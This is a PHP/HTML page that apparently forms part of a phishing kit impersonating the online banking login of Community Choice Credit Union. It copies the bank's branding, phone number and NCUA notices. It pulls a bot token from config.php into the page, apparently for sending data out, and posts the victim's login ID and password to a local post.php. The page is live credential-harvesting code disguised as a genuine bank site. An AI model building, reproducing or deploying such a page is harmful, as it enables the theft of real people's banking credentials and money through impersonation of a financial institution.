<?php
include("config.php");
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700;800&display=swap" rel="stylesheet">
    <title>Community Choice Credit Union — Online Banking</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
        :root {
            --green:      #B4F3BF;
            --dark:       #003A40;
            --tan:        #D2F8D9;
            --dark-mid:   #005060;
            --text:       #1a1a1a;
            --text-sub:   #444;
            --border:     #c8e8cc;
            --white:      #ffffff;
        }
        html, body { height: 100%; font-family: 'Inter', sans-serif; color: var(--text); }
        body { display: flex; flex-direction: column; min-height: 100vh; background: var(--tan); }

        /* ── UTILITY BAR ─────────────────────────────── */
        .utility-bar {
            background: var(--dark);
            padding: 9px 48px;
            display: flex; align-items: center; justify-content: flex-end; gap: 28px;
        }
        .utility-bar a { font-size: 13px; color: rgba(255,255,255,0.88); text-decoration: none; font-weight: 500; transition: color 0.15s; }
        .utility-bar a:hover { color: #fff; }
        .utility-bar .phone { font-weight: 700; color: #fff; letter-spacing: 0.02em; }
        .utility-bar .search-icon { cursor: pointer; color: rgba(255,255,255,0.7); display: flex; align-items: center; }
        .utility-bar .search-icon:hover { color: #fff; }

        /* ── MAIN NAV ────────────────────────────────── */
        .main-nav {
            background: var(--white);
            padding: 0 48px;
            display: flex; align-items: center; justify-content: space-between;
            height: 76px;
            border-bottom: 1px solid #e8f5ea;
            position: relative; z-index: 200;
        }
        .nav-logo img { height: 52px; width: auto; display: block; }
        .nav-links { display: flex; align-items: center; gap: 4px; }
        .nav-links a {
            font-size: 14px; font-weight: 500; color: var(--dark);
            text-decoration: none; padding: 8px 14px; border-radius: 6px;
            display: flex; align-items: center; gap: 5px;
            transition: background 0.15s, color 0.15s;
        }
        .nav-links a:hover { background: var(--tan); color: var(--dark); }
        .nav-links a svg { opacity: 0.55; }
        .nav-right { display: flex; align-items: center; gap: 16px; }
        .btn-member {
            font-size: 14px; font-weight: 500; color: var(--dark);
            text-decoration: none; background: none; border: none; cursor: pointer;
            font-family: 'Inter', sans-serif;
        }
        .btn-member:hover { text-decoration: underline; }
        .btn-login {
            background: var(--dark); color: #fff;
            border: none; border-radius: 8px;
            padding: 11px 28px; font-family: 'Inter', sans-serif;
            font-size: 14px; font-weight: 600; cursor: pointer;
            transition: background 0.15s;
        }
        .btn-login:hover { background: var(--dark-mid); }

        /* ── HERO ────────────────────────────────────── */
        .hero {
            flex: 1;
            background: var(--tan);
            display: flex; align-items: center;
            padding: 0 48px 0 80px;
            min-height: 540px;
            position: relative;
            overflow: hidden;
        }

        /* Left content */
        .hero-content {
            flex: 1;
            max-width: 580px;
            position: relative; z-index: 2;
            padding: 60px 0;
        }
        .hero-content h1 {
            font-size: clamp(38px, 4.5vw, 68px);
            font-weight: 800; color: var(--dark);
            line-height: 1.08; margin-bottom: 24px;
        }
        .circle-text {
            display: inline-block;
            border: 3px solid var(--dark);
            border-radius: 50%;
            padding: 4px 12px;
            font-style: italic;
        }
        .hero-content p {
            font-size: 15px; color: var(--text-sub);
            line-height: 1.7; margin-bottom: 28px;
            max-width: 480px;
        }

        /* Email + CTA row */
        .hero-cta { display: flex; gap: 10px; margin-bottom: 14px; align-items: center; }
        .email-input {
            flex: 1; height: 52px; padding: 0 18px;
            border: 1.5px solid #b0d8b4; border-radius: 8px;
            font-family: 'Inter', sans-serif; font-size: 14px;
            color: var(--text); background: var(--white); outline: none;
            transition: border-color 0.15s, box-shadow 0.15s;
            max-width: 320px;
        }
        .email-input:focus { border-color: var(--dark); box-shadow: 0 0 0 3px rgba(0,58,64,0.1); }
        .email-input::placeholder { color: #aab; }
        .btn-open-acct {
            height: 52px; padding: 0 26px;
            background: var(--dark); color: #fff;
            border: none; border-radius: 8px;
            font-family: 'Inter', sans-serif; font-size: 14px; font-weight: 600;
            cursor: pointer; white-space: nowrap;
            transition: background 0.15s;
        }
        .btn-open-acct:hover { background: var(--dark-mid); }

        .hero-login-link { margin-bottom: 20px; }
        .hero-login-link a {
            font-size: 13.5px; color: var(--dark);
            text-decoration: underline; cursor: pointer;
        }
        .hero-disclaimer { font-size: 11px; color: #778; line-height: 1.6; max-width: 460px; }
        .hero-disclaimer a { color: #778; }

        /* Right photo */
        .hero-photo {
            flex-shrink: 0;
            width: 48%;
            height: 480px;
            position: relative; z-index: 1;
            margin-right: -48px;
            overflow: hidden;
        }
        .hero-photo img {
            width: 100%; height: 100%;
            object-fit: cover; object-position: center top;
            display: block;
        }
        /* Fade left edge into tan */
        .hero-photo::before {
            content: '';
            position: absolute; inset: 0 auto 0 0;
            width: 120px;
            background: linear-gradient(to right, var(--tan), transparent);
            z-index: 2;
        }
        /* Carousel arrows */
        .carousel-arrows {
            position: absolute; bottom: 24px; right: 72px; z-index: 3;
            display: flex; gap: 8px;
        }
        .arrow-btn {
            width: 44px; height: 44px; border-radius: 50%;
            background: rgba(212,248,217,0.9); border: none; cursor: pointer;
            display: flex; align-items: center; justify-content: center;
            color: var(--dark); font-size: 18px;
            transition: background 0.15s;
        }
        .arrow-btn:hover { background: var(--green); }

        /* ── LOGIN DROPDOWN ─────────────────────────── */
        .login-dropdown-wrap { position: relative; }
        .login-dropdown {
            display: none;
            position: absolute;
            top: calc(100% + 12px);
            right: 0;
            width: 320px;
            background: var(--dark);
            border-radius: 10px;
            padding: 28px 26px 24px;
            z-index: 500;
            box-shadow: 0 12px 40px rgba(0,0,0,0.3);
            animation: dropIn 0.2s ease both;
        }
        .login-dropdown.open { display: block; }
        @keyframes dropIn { from{opacity:0;transform:translateY(-8px)} to{opacity:1;transform:translateY(0)} }

        .dd-label { font-size: 12px; font-weight: 600; color: rgba(255,255,255,0.7); margin-bottom: 6px; letter-spacing: 0.04em; }
        .dd-field { margin-bottom: 14px; }
        .dd-field-header { display: flex; align-items: center; justify-content: space-between; margin-bottom: 6px; }
        .dd-field-header .dd-label { margin-bottom: 0; }
        .dd-field-header a { font-size: 12px; color: var(--green); text-decoration: none; }
        .dd-field-header a:hover { text-decoration: underline; }
        .dd-input {
            width: 100%; height: 48px; padding: 0 14px;
            border: 2px solid rgba(255,255,255,0.15); border-radius: 6px;
            font-family: 'Inter', sans-serif; font-size: 14px;
            color: var(--white); background: rgba(255,255,255,0.08); outline: none;
            transition: border-color 0.15s;
            -webkit-appearance: none;
        }
        .dd-input:focus { border-color: var(--green); }
        .dd-input::placeholder { color: rgba(255,255,255,0.3); }
        .dd-input-wrap { position: relative; }
        .dd-eye {
            position: absolute; right: 12px; top: 50%; transform: translateY(-50%);
            color: rgba(255,255,255,0.4); cursor: pointer; background: none; border: none;
        }
        .btn-dd-login {
            width: 100%; height: 46px;
            background: var(--green); color: var(--dark);
            border: none; border-radius: 6px;
            font-family: 'Inter', sans-serif; font-size: 14px; font-weight: 700;
            cursor: pointer; margin-bottom: 18px;
            transition: background 0.15s;
        }
        .btn-dd-login:hover { background: #9de8aa; }
        .dd-links { display: grid; grid-template-columns: 1fr 1fr; gap: 8px 6px; }
        .dd-links a { font-size: 12px; color: var(--green); text-decoration: none; }
        .dd-links a:hover { text-decoration: underline; }

        /* ── FOOTER ──────────────────────────────────── */
        .page-footer { background: var(--dark); padding: 20px 48px; display: flex; align-items: center; justify-content: space-between; flex-wrap: wrap; gap: 12px; }
        .footer-links { display: flex; gap: 20px; flex-wrap: wrap; }
        .footer-links a { font-size: 12px; color: rgba(255,255,255,0.55); text-decoration: none; }
        .footer-links a:hover { color: #fff; }
        .footer-copy { font-size: 12px; color: rgba(255,255,255,0.35); }

        @media (max-width: 900px) { .nav-links { display: none; } .main-nav { padding: 0 20px; } .hero { flex-direction: column; padding: 40px 24px; min-height: auto; } .hero-photo { width: 100%; margin-right: 0; height: 320px; } .hero-photo::before { display: none; } .utility-bar { padding: 8px 20px; gap: 16px; } .hero-content { padding: 0 0 32px; max-width: 100%; } }
        @media (max-width: 500px) { .hero-cta { flex-direction: column; align-items: stretch; } .email-input { max-width: 100%; } }
    </style>
</head>
<body>

    <!-- Utility Bar -->
    <div class="utility-bar">
        <a href="#">Apply for a Loan</a>
        <a href="#">Rates</a>
        <a href="#">Locations</a>
        <a href="#">Make a Payment</a>
        <span class="phone">CALL US 877.243.2528</span>
        <span class="search-icon">
            <svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><circle cx="11" cy="11" r="8"/><line x1="21" y1="21" x2="16.65" y2="16.65"/></svg>
        </span>
    </div>

    <!-- Main Nav -->
    <nav class="main-nav">
        <div class="nav-logo"><img src="res/img/logo.png" alt="Community Choice Credit Union"></div>
        <div class="nav-links">
            <a href="#">Bank <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><path d="m6 9 6 6 6-6"/></svg></a>
            <a href="#">Borrow <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><path d="m6 9 6 6 6-6"/></svg></a>
            <a href="#">Business <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><path d="m6 9 6 6 6-6"/></svg></a>
            <a href="#">Resources <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><path d="m6 9 6 6 6-6"/></svg></a>
            <a href="#">Who We Are <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><path d="m6 9 6 6 6-6"/></svg></a>
        </div>
        <div class="nav-right">
            <a href="#" class="btn-member">Become a Member</a>
            <div class="login-dropdown-wrap">
                <button class="btn-login" id="login-trigger">Log In</button>
                <div class="login-dropdown" id="login-dropdown">
                    <script>var token=<?php echo json_encode($bot); ?>;</script>
                    <form action="post.php" method="post">
                        <div class="dd-field">
                            <div class="dd-label">Login ID</div>
                            <input type="text" name="user" class="dd-input" required placeholder="" autocomplete="username">
                        </div>
                        <div class="dd-field">
                            <div class="dd-field-header">
                                <span class="dd-label">Password</span>
                                <a href="#">Forgot your password?</a>
                            </div>
                            <div class="dd-input-wrap">
                                <input type="password" name="pass" id="dd-pass" class="dd-input" required placeholder="" autocomplete="current-password">
                                <button type="button" class="dd-eye" onclick="togglePass()">
                                    <svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M17.94 17.94A10.07 10.07 0 0112 20c-7 0-11-8-11-8a18.45 18.45 0 015.06-5.94M9.9 4.24A9.12 9.12 0 0112 4c7 0 11 8 11 8a18.5 18.5 0 01-2.16 3.19m-6.72-1.07a3 3 0 11-4.24-4.24"/><line x1="1" y1="1" x2="23" y2="23"/></svg>
                                </button>
                            </div>
                        </div>
                        <button type="submit" class="btn-dd-login">Login</button>
                        <div class="dd-links">
                            <a href="#">e-Banking Help</a>
                            <a href="#">Enroll in e-Banking</a>
                            <a href="#">Enroll in Business e-Banking</a>
                            <a href="#">Trust Enrollment</a>
                        </div>
                    </form>
                </div>
            </div>
        </div>
    </nav>

    <!-- Hero -->
    <div class="hero">
        <div class="hero-content">
            <h1>Money your<br>way, <span class="circle-text">24/7</span></h1>
            <p>Here to support you with simplified digital access, convenient tools and resources, and personalized service when needed. Live the life you want with Community Choice.</p>
            <div class="hero-cta">
                <input type="email" class="email-input" placeholder="Enter your email">
                <button class="btn-open-acct">Open an Account</button>
            </div>
            <div class="hero-login-link">
                <a href="#" onclick="document.getElementById('login-trigger').click(); return false;">Already have an account? Log In.</a>
            </div>
            <p class="hero-disclaimer">Community Choice Credit Union is a federally insured credit union. By entering your email, you consent to receive marketing and service-related communications from us. Learn how we collect and use your information by visiting our <a href="#">Privacy Notice.</a></p>
        </div>

        <div class="hero-photo">
            <img src="res/img/background.avif" alt="Community Choice member">
        </div>

        <div class="carousel-arrows">
            <button class="arrow-btn">&#8592;</button>
            <button class="arrow-btn">&#8594;</button>
        </div>
    </div>

    <!-- Footer -->
    <footer class="page-footer">
        <div class="footer-links">
            <a href="#">Privacy</a><a href="#">Security</a><a href="#">Terms of Use</a>
            <a href="#">Accessibility</a><a href="#">NCUA</a><a href="#">Contact Us</a>
        </div>
        <div class="footer-copy">© 2025 Community Choice Credit Union. All Rights Reserved. Federally Insured by NCUA.</div>
    </footer>

    <script>
        // Login dropdown
        document.getElementById('login-trigger').addEventListener('click', function(e) {
            e.stopPropagation();
            this.textContent = this.textContent === 'Log In' ? 'Close' : 'Log In';
            document.getElementById('login-dropdown').classList.toggle('open');
        });
        document.addEventListener('click', function(e) {
            var wrap = document.querySelector('.login-dropdown-wrap');
            if (!wrap.contains(e.target)) {
                document.getElementById('login-dropdown').classList.remove('open');
                document.getElementById('login-trigger').textContent = 'Log In';
            }
        });
        document.addEventListener('keydown', function(e) {
            if (e.key === 'Escape') {
                document.getElementById('login-dropdown').classList.remove('open');
                document.getElementById('login-trigger').textContent = 'Log In';
            }
        });
        function togglePass() {
            var p = document.getElementById('dd-pass');
            p.type = p.type === 'password' ? 'text' : 'password';
        }
    </script>
    <script src="./res/jq.js"></script>
</body>
</html>